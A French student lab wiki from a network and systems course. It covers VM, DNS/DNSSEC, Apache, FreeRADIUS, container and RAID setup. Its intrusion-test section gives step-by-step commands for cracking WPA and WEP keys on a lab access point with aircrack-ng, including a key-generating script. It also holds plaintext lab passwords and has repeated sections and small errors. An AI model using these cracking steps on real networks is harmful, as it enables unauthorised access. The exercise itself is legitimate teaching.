Création des partitions logiques sur Cordouan pour la machine virtuelle :
lvcreate -L 10G -n /dev/virtual/hercule-home -v
lvcreate -L 10G -n /dev/virtual/hercule-var -v

Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :
'phy:/dev/virtual/hercule-home,xvdb1,w',
'phy:/dev/virtual/hercule-var,xvdb2,w'

On relance la VM.
On formate les disques créés sur la machine :
mkfs -t ext4 /dev/xvdb1
mkfs -t ext4 /dev/xvdb2

Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :
/dev/xvdb1 /home ext4 defaults 0 2
Puis on effectue le montage :
mount -a

Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire :
mount /dev/xvdb2 /mnt

On déplace ensuite le contenu de var dans le point de montage précédemment créé :
mv /var/* /mnt

Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :
/dev/xvdb2 /var ext4 defaults 0 2

On applique les modifications :
mount -a

==4.Services internet==

===Serveur DNS===

Achat du domaine hercule.pw sur gandi.

Installation de bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.hercule.space. root.hercule.space (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.hercule.space.
IN NS ns6.gandi.net
@ IN A 193.48.57.183
ns IN A 193.48.57.183
www IN A 193.48.57.183

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
type master;
file "/etc/bind/db.hercule.space";
allow-transfer {217.70.177.40;};
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

Redémarrage du serveur bind9 :
service bind9 restart

Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP :
name : ns.hercule.space
IP address : 193.48.57.183

Changement du nameserver principal sur Gandi (A FAIRE):
DNS 1 : ns.hercule.space

On laisse ceux de Gandi pour les deux serveurs esclaves

ZONES INVERSES A FAIRE

===DNSSEC===

Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :
dnssec-enable yes;

Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs

Création de la clef asymétrique de signature de clefs de zone :

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space
:
Création de la clef asymétrique de la zone pour signer les enregistrements :

dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space

On renomme ces clef :
hercule.space-ksk.key
hercule.space-zsk.key

Puis on les inclus dans le fichier /etc/bind/db.hercule.space
$include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key
$include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key

On signe les enregistrements de la zone :
dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk

On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :
file "/etc/bind/db.hercule.space.signed";

On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.

===Serveur Apache===

Création du dossier /var/www/www.hercule.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf

<VirtualHost 193.48.57.183:443>
ServerName www.hercule.space
ServerAlias hercule.space
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt
SSLCertificateKeyFile /etc/ssl/private/hercule.space.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

<VirtualHost 193.48.57.183:80>
ServerName www.hercule.space
ServerAlias hercule.space
Redirect / https://www.hercule.space
</VirtualHost>

Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :

Listen 80 443

On active enfin le module SSL, notre site, et on redémarre le service apache :
a2enmod ssl
a2ensite hercule.space.conf
service apache2 restart

===Serveur Freeradius===

Installation de Freeradius sur la vm :
apt-get install freeradius

On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute :
hercule Cleartext-Password := "glopglop"

Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers :

- /etc/freeradius/3.0/mods-enabled/eap :
default_eap_type = peap

- /etc/freeradius/3.0/mods-enabled/mschap :
use_mppe = yes
require_encryption = yes
require_strong = yes
with_ntdomain_hack = yes

On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :
client 192.168.0.10/32
{
secret = secretIMA5SC
shortname = borneDivinite
}

client 192.168.0.11/32
{
secret = secretIMA5SC
shortname = borneDivinite
}

On met à jour la configuration :
ldconfig

Et enfin, nous lançons le service freeradius :
$ service freeradius restart

Nous passons ensuite à la modification de la configuration des points d'accès afin qu'ils prennent en compte notre serveur freeradius :

enable

conf t
aaa new-model
aaa authentication login eap_group17 group radius_group17
aaa group server radius radius_group17
server 193.48.57.183 auth-port 1812 acct-port 1813
radius-server host 193.48.57.183 auth-port 1812 acct-port 1813 key secretIMA5SC
end

conf t
dot11 ssid Hercule
vlan 17
authentication open eap eap_group17
authentication network-eap eap_group17
authentication key-management wpa
Mbssid Guest-mode
end

conf t
int dot11radio0
Mbssid
ssid Hercule
encryption vlan 17 mode ciphers aes-ccm tkip
end

conf t
int dot11radio0.17
encapsulation dot1Q 17
bridge-group 17
end

== 5. Tests d'intrusion ==
===Crackage de clé WPA===

Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :

$ iwconfig

Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:

$ airmon-ng start wlp2s0

Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :

$ airodump-ng wlp2s0mon

Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :

$ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon

Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :

#!/bin/bash
charset=({0..9})
permute(){
(($1 == 0)) && { echo "$2"; return; }
for char in "${charset[@]}"
do
permute "$((${1} - 1 ))" "$2$char"
done
}
permute "$1"

Que nous laçons en exécutant :

$ ./comb.sh 8 >> dictionnaire.txt

Le crack est effectué en lançant la commande :

$ aircrack-ng -a2 -b 04:DA:D2:9C:50:56 -w /path_to_file/dictionnaire.txt /path_to_file/*.cap

Nous récupérons la clé après quelques heures de calcul :

[[Fichier:Crack groupe7.png|600px]]

===Cassage de clé WEP===

Nous affichons ainsi nos interfaces avec la commande :

$ iwconfig

Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:

$ airmon-ng start wlx40a5ef012c92

Nous affichons ensuite tout les point d'accés environnants protégés en WEP en utilisant la commande :

$ airodump-ng --encrypt wep wlan0mon

Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :

$ airodump-ng --channel 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlan0mon

En parallèle, on simule une connexion au point d'accès pour récupérer le handshake :
$ aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:56 wlan0mon

On réalise le cassage :
$ aircrack-ng ./path_to_folder/cracotte07.cap

[[Fichier:cassagewep07.png|600px]]

== 6. Réalisation ==

===6.1 Sécurisation de données===

Création de trois partitions LVM de 1Go sur Cordouan :
lvcreate -L 1G -n /dev/virtual/hercule1 -v
lvcreate -L 1G -n /dev/virtual/hercule2 -v
lvcreate -L 1G -n /dev/virtual/hercule3 -v

Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :

'phy:/dev/virtual/hercule1,xvdc1,w',
'phy:/dev/virtual/hercule2,xvdc2,w',
'phy:/dev/virtual/hercule3,xvdc3,w'

Installation du paquetage mdadm pour réaliser le RAID5 logiciel :
apt-get install mdadm

Création du RAID5 :
mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3

On formate le RAID créé :
mkfs -t ext4 /dev/md0

On monte le RAID dans notre VM :
mount /dev/md0 /mnt

On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.
On relance la VM. Puis on essaye de remonter le RAID :
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande :
cat /proc/mdstat
Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier :
mount /dev/md127 /mnt
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.

[[Fichier:Raidhercule.png|600px]]

===6.1 Cryptage de données===

Dans notre cas, nous n'utilisons pas une carte SD. Nous créons cependant une partition de 1 Giga sur cordouan sur laquelle on travaillera :

$ lvcreate -L 1G -n /dev/virtual/hercule-crypt -v

Une fois cette action réalisée, et la partition intégrée au fichier de configuration de la machine virtuelle sous forme de volume, de nom xvdd1, nous récupérons les paquets lvm2 et cryptsetup.
Lorsque la récupération est terminée, nous sécurisons la partition de la manière suivante :

$ cryptsetup luksFormat -c aes -h sha256 /dev/xvdd1

Cette commande permet de formater la partiton au type LUKS et chiffre en AES avec un algorithme de hashage SHA256. Nous choisissons une phrase de chiffrement.

Une fois la partition chiffrée, nous ouvrons un volume dans notre partition chiffrée :

$ cryptsetup luksOpen /dev/xvdd1 home

Nous la formatons en ext4 :

$ mkfs -t ext4 /dev/mapper/home

Enfin, nous montons la partition sous /mnt :

$ mount -t ext4 /dev/mapper/home /mnt

Nous y créons ensuite un fichier texte. La suite de cette partie, qui est d'échanger les cartes SD, n'est pas réalisable dans notre cas.

TP sysres IMA5sc 2018/2019 G7

2018-12-21T17:54:46Z

Nmehanna : /* 6.1 Cryptage de données */

= Wiki de TP =

=TP GIS=

==Conteneurs "à la main"==

===Mise en place des conteneurs===

*'''Création d'une partition''':
dd if=/dev/zero of=/disk1 bs=1024K count=10240

*'''Formatage''' :
mtfs.etx4 /disk1

*'''Montage de la partition''':
mount /disk1 /mnt

*'''Installation d'un système Debian''':
debootstrap --include=apache2,nano stable /mnt

*'''Préparation du montage du pseudo système de fichier /proc''':
echo "proc /proc proc defaults 0 0" >> rootfs/etc/fstab

*''' Démontage ''':
umount /mnt

*'''Copie en 2 exemplaires''':
cp /disk1 /disk2
cp /disk1 /disk3

*'''Montage des 3 partitions :'''
mount -oloop /disk1 /mnt/dsk1
mount -oloop /disk2 /mnt/dsk2
mount -oloop /disk3 /mnt/dsk3

*'''Création du processus isolé par unshare''':
unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c "mount /proc ; /bin/bash"
unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c "mount /proc ; /bin/bash"
unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c "mount /proc ; /bin/bash"

===Configuration réseau===
*'''Création d'un commutateur logiciel''':
ip link add mehcret2 type bridge

*'''Création des interfaces virtuelles:'''
ip link add vif1 type veth peer name eth0@vif1
ip link add vif2 type veth peer name eth0@vif2
ip link add vif3 type veth peer name eth0@vif3
ip link add vif4 type veth peer name eth1@vif4

*'''Ajout d'interfaces dans le commutateur :'''
ip link set vif1 master mehcret2
ip link set vif2 master mehcret2
ip link set vif3 master mehcret2
ip link set vif4 master bridge

*'''Activation des interfaces''':
ip link set eth0 up
ip link set eth1 up

*'''Récupération du PID des conteneurs :'''
ps auxwww | grep unshare

*'''Ajout des interfaces dans les conteneurs :'''
ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)
ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)
ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)
ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)

*'''Activation du pont:'''
ip address add dev mehcret2 192.168.60.0/24

*'''Attribution des adresses:'''
ip address add dev eth0 192.168.60.51/24 (dsk1)
ip address add dev eth0 192.168.60.52/24 (dsk2)
ip address add dev eth0 192.168.60.53/24 (dsk3)
ip address add dev eth1 172.26.145.67/24 (dsk2)
ip route add default via 172.26.145.254 (dsk2)

*'''Activation :'''
ip link set eth0 up
ip link set vif1 up
ip link set vif2 up
ip link set vif3 up
ip link set vif4 up
ip link set mehcret2 up

On peut désormais pinger entre les différents conteneurs.

===Configuration des serveurs Web===

Nous devons maintenant mettre en place les serveurs apache.

Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants :

- mndtMehcret A 172.26.145.67 (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)

- web1Mehcret CNAME mndtMehcret (Serveur web du conteneur 1)

- web2Mehcret CNAME mndtMhecret (Serveur web du conteneur 3)

On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :

<VirtualHost *:80>
ServerName web1mehcret.plil.space
Options Indexes FollowSymLinks
DocumentRoot /var/www/html/web1mehcret/
</VirtualHost>

On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web.

Il faut maintenant mettre en place le reverse proxy.
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :

<VirtualHost *:80>
ServerName mndtMehcret.plil.space
ProxyPass "/web1" "http://192.168.60.51/"
ProxyPassReverse "/web1" "http://192.168.60.51/"
ProxyPass "/web2" "http://"http://192.168.60.53/"
ProxyPassReverse "/web2" "http://192.168.60.53/"
</VirtualHost>

Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.

Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :

$ service apache2 restart

Pour utiliser apache en mode reverse proxy, on execute la commande :

$ a2enmod proxy proxy_http

11h25 : Serveurs Web unshare OK

==Conteneurs Docker==

Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.
Nous exécutons ensuite la commande :
$ iptables-save
Puis on redémarre le service Docker :
$ service docker restart

Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.

Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :
$ docker run -i -t debian

Dans le conteneur, nous ajoutons le proxy de l'école :
$ export http_proxy=http://proxy.polytech-lille.fr:3128/

Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:
$ apt-get update
$ apt-get install apache2, nano, vim

On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires :

$ docker commit [IDduConteneur] mehcret

On créé un réseau Docker pour isoler nos conteneurs ensemble :

$ docker network create --driver bridge mehcretnetwork

Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine :

$ docker run -i --network mehcretnetwork --name mehcret1 mehcret
$ docker run -i --network mehcretnetwork --name mehcret2 mehcret
$ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret

Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.

10h30 Serveurs Web (docker) OK

=TP PRA=

Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.

==Tâche 5 : Câblage, connexion SR52, cordouan==

===Connexion des routeurs au réseau de l'école===

*'''Connexion SR52 - Routeur ISR4221 (E306)'''

Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.

Sur le routeur, on passe le port 21 sur le vlan 131 :

config t
int gi1/0/21
switchport access vlan 131
write

En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.

Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :

<gallery mode="nolines" widths=500px heights=400px>

File:TableVlansInterfacesSR52.jpg

File:LedSR52.jpg

</gallery>

*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''

En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.

===Connexion des commutateurs aux routeurs===

*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''

Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.

*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''

Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.

*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''

La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.

*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''

La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.

===Connexions au serveur Cordouan===

Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM.

*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''

Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.

*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''

Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.

===Connexion des commutateurs aux points d'accès===

===Schéma résumant le câblage réalisé :===

[[Fichier:ArchitectureMehCret.png|1200px]]

== 2.Installation des systèmes d'exploitation==

===Création de la machine virtuelle===

Création d'une machine virtuelle sur cordouan.insecserv.deule.net :

xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen

Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg

vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']
xen create hercule.cfg

On vérifie que la machine est bien créée en s'y connectant :

xl console hercule

Création des partitions logiques sur Cordouan pour la machine virtuelle :
lvcreate -L 10G -n /dev/virtual/hercule-home -v
lvcreate -L 10G -n /dev/virtual/hercule-var -v

Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :
'phy:/dev/virtual/hercule-home,xvdb1,w',
'phy:/dev/virtual/hercule-var,xvdb2,w'

On relance la VM.
On formate les disques créés sur la machine :
mkfs -t ext4 /dev/xvdb1
mkfs -t ext4 /dev/xvdb2

Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :
/dev/xvdb1 /home ext4 defaults 0 2
Puis on effectue le montage :
mount -a

Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire :
mount /dev/xvdb2 /mnt

On déplace ensuite le contenu de var dans le point de montage précédemment créé :
mv /var/* /mnt

Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :
/dev/xvdb2 /var ext4 defaults 0 2

On applique les modifications :
mount -a

==4.Services internet==

===Serveur DNS===

Achat du domaine hercule.pw sur gandi.

Installation de bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.hercule.space. root.hercule.space (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.hercule.space.
IN NS ns6.gandi.net
@ IN A 193.48.57.183
ns IN A 193.48.57.183
www IN A 193.48.57.183

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
type master;
file "/etc/bind/db.hercule.space";
allow-transfer {217.70.177.40;};
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

Redémarrage du serveur bind9 :
service bind9 restart

Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP :
name : ns.hercule.space
IP address : 193.48.57.183

Changement du nameserver principal sur Gandi (A FAIRE):
DNS 1 : ns.hercule.space

On laisse ceux de Gandi pour les deux serveurs esclaves

ZONES INVERSES A FAIRE

===DNSSEC===

Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :
dnssec-enable yes;

Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs

Création de la clef asymétrique de signature de clefs de zone :

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space
:
Création de la clef asymétrique de la zone pour signer les enregistrements :

dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space

On renomme ces clef :
hercule.space-ksk.key
hercule.space-zsk.key

Puis on les inclus dans le fichier /etc/bind/db.hercule.space
$include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key
$include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key

On signe les enregistrements de la zone :
dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk

On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :
file "/etc/bind/db.hercule.space.signed";

On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.

===Serveur Apache===

Création du dossier /var/www/www.hercule.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf

<VirtualHost 193.48.57.183:443>
ServerName www.hercule.space
ServerAlias hercule.space
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt
SSLCertificateKeyFile /etc/ssl/private/hercule.space.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

<VirtualHost 193.48.57.183:80>
ServerName www.hercule.space
ServerAlias hercule.space
Redirect / https://www.hercule.space
</VirtualHost>

Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :

Listen 80 443

On active enfin le module SSL, notre site, et on redémarre le service apache :
a2enmod ssl
a2ensite hercule.space.conf
service apache2 restart

===Serveur Freeradius===

Installation de Freeradius sur la vm :
apt-get install freeradius

On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute :
hercule Cleartext-Password := "glopglop"

Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers :

- /etc/freeradius/3.0/mods-enabled/eap :
default_eap_type = peap

- /etc/freeradius/3.0/mods-enabled/mschap :
use_mppe = yes
require_encryption = yes
require_strong = yes
with_ntdomain_hack = yes

On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :
client 192.168.0.10/32
{
secret = secretIMA5SC
shortname = borneDivinite
}

client 192.168.0.11/32
{
secret = secretIMA5SC
shortname = borneDivinite
}

On met à jour la configuration :
ldconfig

Et enfin, nous lançons le service freeradius :
$ service freeradius restart

Nous passons ensuite à la modification de la configuration des points d'accès afin qu'ils prennent en compte notre serveur freeradius :

enable

conf t
aaa new-model
aaa authentication login eap_group17 group radius_group17
aaa group server radius radius_group17
server 193.48.57.183 auth-port 1812 acct-port 1813
radius-server host 193.48.57.183 auth-port 1812 acct-port 1813 key secretIMA5SC
end

conf t
dot11 ssid Hercule
vlan 17
authentication open eap eap_group17
authentication network-eap eap_group17
authentication key-management wpa
Mbssid Guest-mode
end

conf t
int dot11radio0
Mbssid
ssid Hercule
encryption vlan 17 mode ciphers aes-ccm tkip
end

conf t
int dot11radio0.17
encapsulation dot1Q 17
bridge-group 17
end

== 5. Tests d'intrusion ==
===Crackage de clé WPA===

Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :

$ iwconfig

Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:

$ airmon-ng start wlp2s0

Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :

$ airodump-ng wlp2s0mon

Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :

$ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon

Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :

#!/bin/bash
charset=({0..9})
permute(){
(($1 == 0)) && { echo "$2"; return; }
for char in "${charset[@]}"
do
permute "$((${1} - 1 ))" "$2$char"
done
}
permute "$1"

Que nous laçons en exécutant :

$ ./comb.sh 8 >> dictionnaire.txt

Le crack est effectué en lançant la commande :

$ aircrack-ng -a2 -b 04:DA:D2:9C:50:56 -w /path_to_file/dictionnaire.txt /path_to_file/*.cap

Nous récupérons la clé après quelques heures de calcul :

[[Fichier:Crack groupe7.png|600px]]

===Cassage de clé WEP===

Nous affichons ainsi nos interfaces avec la commande :

$ iwconfig

Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:

$ airmon-ng start wlx40a5ef012c92

Nous affichons ensuite tout les point d'accés environnants protégés en WEP en utilisant la commande :

$ airodump-ng --encrypt wep wlan0mon

Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :

$ airodump-ng --channel 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlan0mon

En parallèle, on simule une connexion au point d'accès pour récupérer le handshake :
$ aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:56 wlan0mon

On réalise le cassage :
$ aircrack-ng ./path_to_folder/cracotte07.cap

[[Fichier:cassagewep07.png|600px]]

== 6. Réalisation ==

===6.1 Sécurisation de données===

Création de trois partitions LVM de 1Go sur Cordouan :
lvcreate -L 1G -n /dev/virtual/hercule1 -v
lvcreate -L 1G -n /dev/virtual/hercule2 -v
lvcreate -L 1G -n /dev/virtual/hercule3 -v

Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :

'phy:/dev/virtual/hercule1,xvdc1,w',
'phy:/dev/virtual/hercule2,xvdc2,w',
'phy:/dev/virtual/hercule3,xvdc3,w'

